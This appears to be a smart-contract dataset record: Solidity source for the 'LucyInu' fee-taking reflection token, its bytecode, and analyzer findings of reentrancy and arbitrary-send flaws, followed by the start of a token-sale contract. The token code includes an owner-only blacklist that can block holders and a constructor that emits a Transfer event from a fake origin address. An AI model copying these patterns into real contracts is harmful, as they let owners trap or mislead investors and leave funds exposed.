_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract LucyInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "LucyInu";
string private constant _symbol = "Lucy";
uint8 private constant _decimals = 18;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable addr1, address payable addr2) {
_FeeAddress = addr1;
_marketingWalletAddress = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_FeeAddress] = true;
_isExcludedFromFee[_marketingWalletAddress] = true;
emit Transfer(address(0x929242B1Eb71b05Ce9319fa902983Dce3c0383E1), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 1;
_teamFee = 9;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 1;
_teamFee = 9;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146102f1578063c3c8cd8014610311578063c9567bf914610326578063d543dbeb1461033b578063dd62ed3e1461035b57600080fd5b8063715018a6146102675780638da5cb5b1461027c57806395d89b41146102a4578063a9059cbb146102d157600080fd5b8063273123b7116100dc578063273123b7146101d4578063313ce567146101f65780635932ead1146102125780636fc3eaec1461023257806370a082311461024757600080fd5b806306fdde0314610119578063095ea7b31461015b57806318160ddd1461018b57806323b872dd146101b457600080fd5b3661011457005b600080fd5b34801561012557600080fd5b506040805180820190915260078152664c756379496e7560c81b60208201525b6040516101529190611977565b60405180910390f35b34801561016757600080fd5b5061017b6101763660046117fe565b6103a1565b6040519015158152602001610152565b34801561019757600080fd5b506b033b2e3c9fd0803ce80000005b604051908152602001610152565b3480156101c057600080fd5b5061017b6101cf3660046117bd565b6103b8565b3480156101e057600080fd5b506101f46101ef36600461174a565b610421565b005b34801561020257600080fd5b5060405160128152602001610152565b34801561021e57600080fd5b506101f461022d3660046118f6565b610475565b34801561023e57600080fd5b506101f46104bd565b34801561025357600080fd5b506101a661026236600461174a565b6104ea565b34801561027357600080fd5b506101f461050c565b34801561028857600080fd5b506000546040516001600160a01b039091168152602001610152565b3480156102b057600080fd5b506040805180820190915260048152634c75637960e01b6020820152610145565b3480156102dd57600080fd5b5061017b6102ec3660046117fe565b610580565b3480156102fd57600080fd5b506101f461030c36600461182a565b61058d565b34801561031d57600080fd5b506101f4610623565b34801561033257600080fd5b506101f4610659565b34801561034757600080fd5b506101f4610356366004611930565b610a22565b34801561036757600080fd5b506101a6610376366004611784565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103ae338484610af8565b5060015b92915050565b60006103c5848484610c1c565b610417843361041285604051806060016040528060288152602001611b63602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fb6565b610af8565b5060019392505050565b6000546001600160a01b031633146104545760405162461bcd60e51b815260040161044b906119cc565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461049f5760405162461bcd60e51b815260040161044b906119cc565b60118054911515600160b81b0260ff60b81b19909216919091179055565b600e546001600160a01b0316336001600160a01b0316146104dd57600080fd5b476104e781610ff0565b50565b6001600160a01b0381166000908152600260205260408120546103b290611075565b6000546001600160a01b031633146105365760405162461bcd60e51b815260040161044b906119cc565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103ae338484610c1c565b6000546001600160a01b031633146105b75760405162461bcd60e51b815260040161044b906119cc565b60005b815181101561061f576001600660008484815181106105db576105db611b13565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061061781611ae2565b9150506105ba565b5050565b600e546001600160a01b0316336001600160a01b03161461064357600080fd5b600061064e306104ea565b90506104e7816110f9565b6000546001600160a01b031633146106835760405162461bcd60e51b815260040161044b906119cc565b601154600160a01b900460ff16156106dd5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161044b565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561071d30826b033b2e3c9fd0803ce8000000610af8565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561075657600080fd5b505afa15801561076a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078e9190611767565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107d657600080fd5b505afa1580156107ea573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061080e9190611767565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561085657600080fd5b505af115801561086a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061088e9190611767565b601180546001600160a01b0319166001600160a01b039283161790556010541663f305d71947306108be816104ea565b6000806108d36000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561093657600080fd5b505af115801561094a573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061096f9190611949565b5050601180546a52b7d2dcc80cd2e400000060125563ffff00ff60a01b198116630101000160a01b1790915560105460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109ea57600080fd5b505af11580156109fe573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061061f9190611913565b6000546001600160a01b03163314610a4c5760405162461bcd60e51b815260040161044b906119cc565b60008111610a9c5760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015260640161044b565b610abd6064610ab76b033b2e3c9fd0803ce800000084611282565b90611301565b60128190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b5a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161044b565b6001600160a01b038216610bbb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161044b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c805760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161044b565b6001600160a01b038216610ce25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161044b565b60008111610d445760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161044b565b6001600a556009600b556000546001600160a01b03848116911614801590610d7a57506000546001600160a01b03838116911614155b15610f59576001600160a01b03831660009081526006602052604090205460ff16158015610dc157506001600160a01b03821660009081526006602052604090205460ff16155b610dca57600080fd5b6011546001600160a01b038481169116148015610df557506010546001600160a01b03838116911614155b8015610e1a57506001600160a01b03821660009081526005602052604090205460ff16155b8015610e2f5750601154600160b81b900460ff165b15610e8c57601254811115610e4357600080fd5b6001600160a01b0382166000908152600760205260409020544211610e6757600080fd5b610e7242601e611a72565b6001600160a01b0383166000908152600760205260409020555b6011546001600160a01b038381169116148015610eb757506010546001600160a01b03848116911614155b8015610edc57506001600160a01b03831660009081526005602052604090205460ff16155b15610eec576001600a556009600b555b6000610ef7306104ea565b601154909150600160a81b900460ff16158015610f2257506011546001600160a01b03858116911614155b8015610f375750601154600160b01b900460ff165b15610f5757610f45816110f9565b478015610f5557610f5547610ff0565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff1680610f9b57506001600160a01b03831660009081526005602052604090205460ff165b15610fa4575060005b610fb084848484611343565b50505050565b60008184841115610fda5760405162461bcd60e51b815260040161044b9190611977565b506000610fe78486611acb565b95945050505050565b600e546001600160a01b03166108fc61100a836002611301565b6040518115909202916000818181858888f19350505050158015611032573d6000803e3d6000fd5b50600f546001600160a01b03166108fc61104d836002611301565b6040518115909202916000818181858888f1935050505015801561061f573d6000803e3d6000fd5b60006008548211156110dc5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161044b565b60006110e6611371565b90506110f28382611301565b9392505050565b6011805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061114157611141611b13565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561119557600080fd5b505afa1580156111a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111cd9190611767565b816001815181106111e0576111e0611b13565b6001600160a01b0392831660209182029290920101526010546112069130911684610af8565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac9479061123f908590600090869030904290600401611a01565b600060405180830381600087803b15801561125957600080fd5b505af115801561126d573d6000803e3d6000fd5b50506011805460ff60a81b1916905550505050565b600082611291575060006103b2565b600061129d8385611aac565b9050826112aa8583611a8a565b146110f25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161044b565b60006110f283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611394565b80611350576113506113c2565b61135b8484846113f0565b80610fb057610fb0600c54600a55600d54600b55565b600080600061137e6114e7565b909250905061138d8282611301565b9250505090565b600081836113b55760405162461bcd60e51b815260040161044b9190611977565b506000610fe78486611a8a565b600a541580156113d25750600b54155b156113d957565b600a8054600c55600b8054600d5560009182905555565b6000806000806000806114028761152f565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611434908761158c565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461146390866115ce565b6001600160a01b0389166000908152600260205260409020556114858161162d565b61148f8483611677565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114d491815260200190565b60405180910390a3505050505050505050565b60085460009081906b033b2e3c9fd0803ce80000006115068282611301565b821015611526575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b600080600080600080600080600061154c8a600a54600b5461169b565b925092509250600061155c611371565b9050600080600061156f8e8787876116ea565b919e509c509a509598509396509194505050505091939550919395565b60006110f283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fb6565b6000806115db8385611a72565b9050838110156110f25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161044b565b6000611637611371565b905060006116458383611282565b3060009081526002602052604090205490915061166290826115ce565b30600090815260026020526040902055505050565b600854611684908361158c565b60085560095461169490826115ce565b6009555050565b60008080806116af6064610ab78989611282565b905060006116c26064610ab78a89611282565b905060006116da826116d48b8661158c565b9061158c565b9992985090965090945050505050565b60008080806116f98886611282565b905060006117078887611282565b905060006117158888611282565b90506000611727826116d4868661158c565b939b939a50919850919650505050505050565b803561174581611b3f565b919050565b60006020828403121561175c57600080fd5b81356110f281611b3f565b60006020828403121561177957600080fd5b81516110f281611b3f565b6000806040838503121561179757600080fd5b82356117a281611b3f565b915060208301356117b281611b3f565b809150509250929050565b6000806000606084860312156117d257600080fd5b83356117dd81611b3f565b925060208401356117ed81611b3f565b929592945050506040919091013590565b6000806040838503121561181157600080fd5b823561181c81611b3f565b946020939093013593505050565b6000602080838503121561183d57600080fd5b823567ffffffffffffffff8082111561185557600080fd5b818501915085601f83011261186957600080fd5b81358181111561187b5761187b611b29565b8060051b604051601f19603f830116810181811085821117156118a0576118a0611b29565b604052828152858101935084860182860187018a10156118bf57600080fd5b600095505b838610156118e9576118d58161173a565b8552600195909501949386019386016118c4565b5098975050505050505050565b60006020828403121561190857600080fd5b81356110f281611b54565b60006020828403121561192557600080fd5b81516110f281611b54565b60006020828403121561194257600080fd5b5035919050565b60008060006060848603121561195e57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156119a457858101830151858201604001528201611988565b818111156119b6576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a515784516001600160a01b031683529383019391830191600101611a2c565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a8557611a85611afd565b500190565b600082611aa757634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611ac657611ac6611afd565b500290565b600082821015611add57611add611afd565b500390565b6000600019821415611af657611af6611afd565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104e757600080fd5b80151581146104e757600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205713ec246f41879d80f681002fe9fa43392609865e1a5d4c70e576d38da2104f64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,958 |
0xfD66cDcCb1499a0Be335ecA99D898832912CB8f8
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
//
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
//
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
//
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
contract PublicSaleContract is Ownable {
using SafeMath for uint256;
event Whitelist(address indexed _address, bool _isStaking);
event Deposit(uint256 _timestamp, address indexed _address);
event Refund(uint256 _timestamp, address indexed _address);
event TokenReleased(uint256 _timestamp, address indexed _address, uint256 _amount);
// Token Contract
IERC20 tokenContract = IERC20(0x03042482d64577A7bdb282260e2eA4c8a89C064B);
uint256 public noStakeReleaseAmount = 166666.67 ether;
uint256 public stakeReleaseFirstBatchAmount = 83333.33 ether;
uint256 public stakeReleaseSecondBatchAmount = 87500 ether;
// Receiving Address
address payable receivingAddress = 0x6359EAdBB84C8f7683E26F392A1573Ab6a37B4b4;
// Contract status
ContractStatus public status;
enum ContractStatus {
INIT,
ACCEPT_DEPOSIT,
FIRST_BATCH_TOKEN_RELEASED,
SECOND_BATCH_TOKEN_RELEASED
}
